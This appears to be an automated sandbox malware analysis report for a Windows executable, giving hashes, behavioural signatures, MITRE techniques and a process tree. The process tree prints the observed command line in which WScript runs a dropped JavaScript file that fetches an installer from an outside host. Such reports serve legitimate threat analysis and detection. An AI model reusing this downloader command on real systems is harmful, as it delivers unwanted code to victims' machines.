Analysis
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max time kernel
149s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
11-05-2024 08:59
Static task
static1
Behavioral task
behavioral1
Sample
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe
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Size
184KB
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MD5
33cb08813809437dbeda2422172e66c7
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SHA1
3fe5c4e90fe7036091bc1fdf2d7316ce0f6aa888
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SHA256
76ae2a209d6c4afa2fb7416e958b65d718db665d499158a9abd525ec90b7abb6
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SHA512
9ea824d5b4c22d31282db2953d4ecd4d8ac3b2d84eb28e1383d39cdf9ddcba0ca120a4414c7fd60da91ccdab796ac9b2093dcafc0436075d44440b1a12c54fb8
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3W:/7BSH8zUB+nGESaaRvoB7FJNndnX
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 3 2940 WScript.exe 8 3596 WScript.exe 11 5076 WScript.exe 30 1888 WScript.exe 33 2228 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
33cb08813809437dbeda2422172e66c7_JaffaCakes118.exedescription pid process target process PID 4708 wrote to memory of 2940 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 2940 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 2940 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 3596 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 3596 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 3596 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 5076 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 5076 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 5076 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 1888 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 1888 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 1888 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 2228 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 2228 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe PID 4708 wrote to memory of 2228 4708 33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\33cb08813809437dbeda2422172e66c7_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B13.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B13.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B13.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B13.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B13.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B13.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B13.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B13.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4B13.js" http://www.djapp.info/?domain=onjjxSzRhV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4B13.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\fuf4B13.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76